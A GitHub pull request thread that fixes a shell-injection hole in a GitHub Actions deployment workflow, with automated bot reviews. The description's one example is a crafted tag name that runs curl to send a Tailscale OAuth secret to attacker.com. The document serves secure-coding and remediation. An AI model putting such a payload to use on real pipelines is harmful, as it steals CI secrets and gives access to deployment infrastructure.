[WEB-7945] fix(security): prevent shell injection in feature-deployment.yml

[mguptahub]

Summary

• Binds github.event.inputs.base_tag_name and env.TARGET_BRANCH to step-level env: vars (INPUT_BASE_TAG_NAME, GH_TARGET_BRANCH) in the set_env_variables step of feature-deployment.yml
• All ${{ }} expressions removed from the run: shell block; shell variables ($INPUT_BASE_TAG_NAME, $GH_TARGET_BRANCH) used instead
• Fixes GHSA-gfj7-g3wj-2p5f — GitHub Actions expression injection via workflow_dispatch input

Why this matters

GitHub Actions expands ${{ }} expressions before the shell executes the run: script. A collaborator with workflow_dispatch trigger permission could supply a crafted base_tag_name (e.g. $(curl attacker.com/exfil?t=$TAILSCALE_OAUTH_SECRET)preview) and execute arbitrary commands in the runner context, which has access to DOCKERHUB, Tailscale, and Kubernetes secrets.

The fix is the GitHub-recommended mitigation: set the untrusted value as a process env var on the step, then reference $VAR in the shell — the value is never interpreted as shell code by the Actions expression engine.

Test plan

• Trigger Feature Preview workflow via workflow_dispatch with a normal base_tag_name — build and deploy should proceed as before
• Verify workflow still sets AIO_BASE_TAG correctly from the input (or defaults to develop when empty)
• Verify FLAT_BRANCH_NAME is still derived correctly from the branch name

Co-authored-by: Plane AI noreply@plane.so

Summary by CodeRabbit

• Chores
  • Improved deployment workflow reliability for feature branches by standardizing how input and target-branch values are passed into shell logic.
  • Made branch and tag handling more consistent during automated builds.
  • Reduced the risk of mis-evaluated conditions by avoiding workflow-expression interpolation inside shell tests.

[Copilot]

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

[coderabbitai]

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 97a0a823-7aba-4827-9e0b-31469c5d9679

📥 Commits

Reviewing files that changed from the base of the PR and between 3e2c7fd and 2548deb.

📒 Files selected for processing (1)

• .github/workflows/feature-deployment.yml

🚧 Files skipped from review as they are similar to previous changes (1)

• .github/workflows/feature-deployment.yml

---

📝 Walkthrough

Walkthrough

The feature-deployment.yml workflow step now binds the base_tag_name input and computed target branch to shell environment variables, and the shell script reads those variables when setting AIO_BASE_TAG, TARGET_BRANCH, and FLAT_BRANCH_NAME.

Changes

Feature Deployment Workflow: Safe Env Var Binding

Layer / File(s)	Summary
Env binding and shell script update .github/workflows/feature-deployment.yml	Adds an env: section to the branch_build_setup step exposing INPUT_BASE_TAG_NAME and GH_TARGET_BRANCH; updates AIO_BASE_TAG conditional, TARGET_BRANCH echo, and FLAT_BRANCH_NAME derivation to reference these env vars instead of inline ${{ }} expressions.

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~3 minutes

Poem

A rabbit hopped through workflow light,
bound vars before the shell took flight.
No curly braces in the breeze —
just tidy envs and calmer ease. 🐇

🚥 Pre-merge checks | ✅ 5

✅ Passed checks (5 passed)

Check name	Status	Explanation
Title check	✅ Passed	The title is concise and accurately summarizes the security fix in feature-deployment.yml.
Description check	✅ Passed	The description is detailed and covers the summary, rationale, and test plan, with only minor template sections left empty.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests
• Commit unit tests in branch web-7945/fix-ci-shell-injection-feature-deployment

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}

[makeplane]

Linked to Plane Work Item(s)

• (WEB-7945) fix(security): prevent GH Actions shell injection in feature-deployment.yml via base_tag_name input

This comment was auto-generated by Plane

[coderabbitai]

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/feature-deployment.yml:
- Around line 44-45: The AIO_BASE_TAG output write in the feature-deployment
workflow is vulnerable to output injection because INPUT_BASE_TAG_NAME is
written directly to $GITHUB_OUTPUT. Update the shell step that emits
AIO_BASE_TAG to either reject any value containing carriage returns or newlines
before writing, or use the GitHub Actions multiline output format with a unique
delimiter; keep the fix localized to the step that handles INPUT_BASE_TAG_NAME
and AIO_BASE_TAG.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 5ae2757e-d268-4a4b-8f18-873bcb5a2b44

📥 Commits

Reviewing files that changed from the base of the PR and between 90ae845 and 3e2c7fd.

📒 Files selected for processing (1)

• .github/workflows/feature-deployment.yml